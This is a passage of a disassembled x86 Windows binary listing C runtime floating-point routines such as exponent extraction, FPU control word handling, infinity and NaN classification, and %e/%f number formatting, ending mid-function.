		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jz	loc_41D027
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41D1F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41CFC9
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41D01D
; ---------------------------------------------------------------------------


loc_41CFC9:				; CODE XREF: sub_41CE44+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jnb	short loc_41CFDB
		mov	edx, ebx
		jmp	short loc_41CFDD
; ---------------------------------------------------------------------------


loc_41CFDB:				; CODE XREF: sub_41CE44+191j
		xor	edx, edx


loc_41CFDD:				; CODE XREF: sub_41CE44+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41D011
		sub	eax, ecx


loc_41CFF4:				; CODE XREF: sub_41CE44+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41CFFF
		test	esi, esi
		jnz	short loc_41CFFF
		mov	esi, ebx


loc_41CFFF:				; CODE XREF: sub_41CE44+1B3j
					; sub_41CE44+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41D00B
		or	byte ptr [ebp+var_C+3],	80h


loc_41D00B:				; CODE XREF: sub_41CE44+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41CFF4


loc_41D011:				; CODE XREF: sub_41CE44+1ACj
		test	edx, edx
		jz	short loc_41D01D
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41D01D:				; CODE XREF: sub_41CE44+183j
					; sub_41CE44+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41D029
; ---------------------------------------------------------------------------


loc_41D027:				; CODE XREF: sub_41CE44+14Ej
		mov	esi, ebx


loc_41D029:				; CODE XREF: sub_41CE44+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41D036
		push	10h
		call	sub_41D2F1
		pop	ecx


loc_41D036:				; CODE XREF: sub_41CE44+1E8j
		and	edi, 0FFFFFFFDh


loc_41D039:				; CODE XREF: sub_41CE44+26j
					; sub_41CE44+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41D050
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41D050
		push	20h
		call	sub_41D2F1
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41D050:				; CODE XREF: sub_41CE44+1F9j
					; sub_41CE44+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41CE44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D05B(int,int,int,int,int,int,double,int)

sub_41D05B	proc near		; CODE XREF: sub_41CAA6+2Bp
					; sub_41CAF9+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41D109
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41D0C6
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41D2CE
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41FAFD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D0C0
		push	esi
		call	sub_41D0E3
		pop	ecx


loc_41D0C0:				; CODE XREF: sub_41D05B+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D0C6:				; CODE XREF: sub_41D05B+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41D2CE
		push	[ebp+arg_0]
		call	sub_41D0E3
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41D05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0E3	proc near		; CODE XREF: sub_41CAF9+7Dp
					; sub_41D05B+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41D0FE
		jle	short locret_41D108
		cmp	eax, 3
		jg	short locret_41D108
		mov	dword_4D86D0, 22h
		retn
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D0E3+7j
		mov	dword_4D86D0, 21h

locret_41D108:				; CODE XREF: sub_41D0E3+9j
					; sub_41D0E3+Ej
		retn
sub_41D0E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D109	proc near		; CODE XREF: sub_41D05B+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B010


loc_41D110:				; CODE XREF: sub_41D109+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41D126
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B0E8
		jl	short loc_41D110
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D126:				; CODE XREF: sub_41D109+Dj
		mov	eax, off_43B014[ecx*8]
		retn
sub_41D109	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D12E	proc near		; CODE XREF: sub_41CAF9+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41D13A
		push	5
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D13A:				; CODE XREF: sub_41D12E+6j
		test	al, 8
		jz	short loc_41D142
		push	1
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D142:				; CODE XREF: sub_41D12E+Ej
		test	al, 4
		jz	short loc_41D14A
		push	2
		jmp	short loc_41D150
; ---------------------------------------------------------------------------


loc_41D14A:				; CODE XREF: sub_41D12E+16j
		test	al, 1
		jz	short loc_41D152
		push	3


loc_41D150:				; CODE XREF: sub_41D12E+Aj
					; sub_41D12E+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D152:				; CODE XREF: sub_41D12E+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41D12E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D15B(double)

sub_41D15B	proc near		; CODE XREF: sub_418B79:loc_418BFFp
					; sub_418CBF:loc_418D45p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41D15B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D16D(double,int)

sub_41D16D	proc near		; CODE XREF: sub_41D1F0+82p
					; sub_41D1F0+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41D16D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D196	proc near		; CODE XREF: sub_418B79+31p
					; sub_418CBF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41D1AD
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D1BF
		push	1
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1AD:				; CODE XREF: sub_41D196+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41D1BF
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D1BF
		push	2
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1BF:				; CODE XREF: sub_41D196+11j
					; sub_41D196+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41D1D2
		push	3
		jmp	short loc_41D1E9
; ---------------------------------------------------------------------------


loc_41D1D2:				; CODE XREF: sub_41D196+36j
		cmp	cx, 7FF0h
		jnz	short loc_41D1EC
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41D1E7
		cmp	[ebp+arg_0], edx
		jz	short loc_41D1EC


loc_41D1E7:				; CODE XREF: sub_41D196+4Aj
		push	4


loc_41D1E9:				; CODE XREF: sub_41D196+15j
					; sub_41D196+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41D196+41j
					; sub_41D196+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41D196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D1F0(double,int)

sub_41D1F0	proc near		; CODE XREF: sub_41CE44+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_423840
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41D210
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41D2A6
; ---------------------------------------------------------------------------


loc_41D210:				; CODE XREF: sub_41D1F0+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41D27F
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41D228
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41D27F


loc_41D228:				; CODE XREF: sub_41D1F0+31j
		fld	[ebp+arg_0]
		fcomp	dbl_423840
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41D240
		push	1
		pop	eax
		jmp	short loc_41D242
; ---------------------------------------------------------------------------


loc_41D240:				; CODE XREF: sub_41D1F0+49j
		xor	eax, eax


loc_41D242:				; CODE XREF: sub_41D1F0+4Ej
					; sub_41D1F0+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41D25B
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41D255
		or	dword ptr [ebp+arg_0+4], 1


loc_41D255:				; CODE XREF: sub_41D1F0+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41D242
; ---------------------------------------------------------------------------


loc_41D25B:				; CODE XREF: sub_41D1F0+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41D269
		or	byte ptr [ebp+arg_0+7],	80h


loc_41D269:				; CODE XREF: sub_41D1F0+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41D16D
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41D2A6
; ---------------------------------------------------------------------------


loc_41D27F:				; CODE XREF: sub_41D1F0+28j
					; sub_41D1F0+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41D16D
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41D2A6:				; CODE XREF: sub_41D1F0+1Bj
					; sub_41D1F0+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41D1F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B1	proc near		; CODE XREF: sub_41CB91+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41D2B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2BF	proc near		; CODE XREF: sub_41CB91+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41D2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2CE	proc near		; CODE XREF: sub_418B79+13p
					; sub_418B79+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41D2CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2F1	proc near		; CODE XREF: sub_41CE44+1Dp
					; sub_41CE44+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41D308
		fld	tbyte_43B110
		fistp	[ebp+arg_0]
		wait


loc_41D308:				; CODE XREF: sub_41D2F1+Bj
		test	cl, 8
		jz	short loc_41D31D
		fstsw	ax
		fld	tbyte_43B110
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41D31D:				; CODE XREF: sub_41D2F1+1Aj
		test	cl, 10h
		jz	short loc_41D32C
		fld	tbyte_43B11C
		fstp	[ebp+var_8]
		wait


loc_41D32C:				; CODE XREF: sub_41D2F1+2Fj
		test	cl, 4
		jz	short loc_41D33A
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41D33A:				; CODE XREF: sub_41D2F1+3Ej
		test	cl, 20h
		jz	short locret_41D345
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41D345:				; CODE XREF: sub_41D2F1+4Cj
		leave
		retn
sub_41D2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D347	proc near		; CODE XREF: sub_418C48+Fp
		push	30000h
		push	10000h
		call	sub_41FB35
		pop	ecx
		pop	ecx
		retn
sub_41D347	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D359	proc near		; CODE XREF: sub_41D397:loc_41D3BBj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_423850
		fstp	[ebp+var_8]
		fld	dbl_423848
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_423700
		fnstsw	ax
		sahf
		jbe	short loc_41D393
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D393:				; CODE XREF: sub_41D359+33j
		xor	eax, eax
		leave
		retn
sub_41D359	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D397	proc near		; CODE XREF: sub_418C48+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42309C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41D3BB
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4230BC	; GetProcAddress
		test	eax, eax
		jz	short loc_41D3BB
		push	0
		call	eax ; sub_418C48
		retn
; ---------------------------------------------------------------------------


loc_41D3BB:				; CODE XREF: sub_41D397+Dj
					; sub_41D397+1Dj
		jmp	sub_41D359
sub_41D397	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D3C0	proc near		; CODE XREF: sub_41B184+3CBp
					; DATA XREF: sub_418C60+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419A9C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41D400


loc_41D3D4:				; CODE XREF: sub_41D3C0+3Ej
		inc	esi
		cmp	dword_43AD8C, 1
		jle	short loc_41D3ED
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41D3FC
; ---------------------------------------------------------------------------


loc_41D3ED:				; CODE XREF: sub_41D3C0+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D3FC:				; CODE XREF: sub_41D3C0+2Bj
		test	eax, eax
		jnz	short loc_41D3D4


loc_41D400:				; CODE XREF: sub_41D3C0+12j
		mov	cl, byte_43AD90
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41D40B:				; CODE XREF: sub_41D3C0+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41D40B
		pop	esi
		retn
sub_41D3C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D41A	proc near		; CODE XREF: sub_41B184+3E2p
					; DATA XREF: sub_418C60+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43AD90
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D436


loc_41D42A:				; CODE XREF: sub_41D41A+1Aj
		cmp	cl, dl
		jz	short loc_41D436
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41D42A


loc_41D436:				; CODE XREF: sub_41D41A+Ej
					; sub_41D41A+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41D467


loc_41D43D:				; CODE XREF: sub_41D41A+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D450
		cmp	cl, 65h
		jz	short loc_41D450
		cmp	cl, 45h
		jz	short loc_41D450
		inc	eax
		jmp	short loc_41D43D
; ---------------------------------------------------------------------------


loc_41D450:				; CODE XREF: sub_41D41A+27j
					; sub_41D41A+2Cj ...
		mov	ecx, eax


loc_41D452:				; CODE XREF: sub_41D41A+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41D452
		cmp	[eax], dl
		jnz	short loc_41D45D
		dec	eax


loc_41D45D:				; CODE XREF: sub_41D41A+40j
					; sub_41D41A+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41D45D

locret_41D467:				; CODE XREF: sub_41D41A+21j
		retn
sub_41D41A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D468	proc near		; DATA XREF: sub_418C60+28o
					; .nsp0:off_43B138o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_423840
		fnstsw	ax
		sahf
		jb	short loc_41D47D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D47D:				; CODE XREF: sub_41D468+Fj
		xor	eax, eax
		retn
sub_41D468	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D480	proc near		; CODE XREF: sub_41BFF5+430p
					; DATA XREF: sub_418C60+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41D4A9
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41FFF8
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D4A9:				; CODE XREF: sub_41D480+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_420025
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41D480	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4BE	proc near		; CODE XREF: sub_41D73B+17p
					; sub_41D785+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4D8764, 0
		push	ebx
		push	esi
		jz	short loc_41D4F3
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4D8760
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41D7D6
		pop	ecx
		pop	ecx
		jmp	short loc_41D52B
; ---------------------------------------------------------------------------


loc_41D4F3:				; CODE XREF: sub_41D4BE+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4200C9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_420052
		add	esp, 14h


loc_41D52B:				; CODE XREF: sub_41D4BE+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41D537
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41D537:				; CODE XREF: sub_41D4BE+73j
		test	ebx, ebx
		jle	short loc_41D54F
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43AD90
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41D54F:				; CODE XREF: sub_41D4BE+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4D8764, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4183B0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41D576
		mov	byte ptr [ecx],	45h


loc_41D576:				; CODE XREF: sub_41D4BE+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41D5BB
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41D58A
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41D58A:				; CODE XREF: sub_41D4BE+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41D5A1
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41D5A1:				; CODE XREF: sub_41D4BE+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41D5B8
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41D5B8:				; CODE XREF: sub_41D4BE+E7j
		add	[ecx+1], bl


loc_41D5BB:				; CODE XREF: sub_41D4BE+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D4BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5C2	proc near		; CODE XREF: sub_41D762+13p
					; sub_41D785+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4D8764, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41D5FD
		mov	eax, dword_4D8768
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4D8760
		cmp	eax, ebx
		jnz	short loc_41D62D
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41D62D
; ---------------------------------------------------------------------------


loc_41D5FD:				; CODE XREF: sub_41D5C2+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4200C9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_420052
		add	esp, 14h


loc_41D62D:				; CODE XREF: sub_41D5C2+22j
					; sub_41D5C2+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41D63B
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41D63B:				; CODE XREF: sub_41D5C2+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41D652
		push	1
		push	edi
		call	sub_41D7D6
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41D654
; ---------------------------------------------------------------------------


loc_41D652:				; CODE XREF: sub_41D5C2+7Ej
		add	edi, eax


loc_41D654:				; CODE XREF: sub_41D5C2+8Ej
		test	ebx, ebx
		jle	short loc_41D699
		push	1
		push	edi
		call	sub_41D7D6
		mov	al, byte_43AD90
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41D699
		cmp	byte_4D8764, 0
		jz	short loc_41D67E
		neg	esi
		jmp	short loc_41D684
; ---------------------------------------------------------------------------


loc_41D67E:				; CODE XREF: sub_41D5C2+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41D686


loc_41D684:				; CODE XREF: sub_41D5C2+BAj
		mov	ebx, esi


loc_41D686:				; CODE XREF: sub_41D5C2+C0j
		push	ebx
		push	edi
		call	sub_41D7D6
		push	ebx
		push	30h
		push	edi
		call	sub_417AA0
		add	esp, 14h


loc_41D699:				; CODE XREF: sub_41D5C2+94j
					; sub_41D5C2+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41D5C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6A0	proc near		; CODE XREF: sub_41D785+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4200C9
		mov	dword_4D8760, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4D8768, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_420052
		mov	eax, dword_4D8760
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4D8768, ecx
		setl	cl
		mov	byte_4D876C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4D8768, eax
		jl	short loc_41D726
		cmp	eax, ebx
		jge	short loc_41D726
		test	cl, cl
		jz	short loc_41D717


loc_41D70D:				; CODE XREF: sub_41D6A0+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41D70D
		and	[esi-2], al


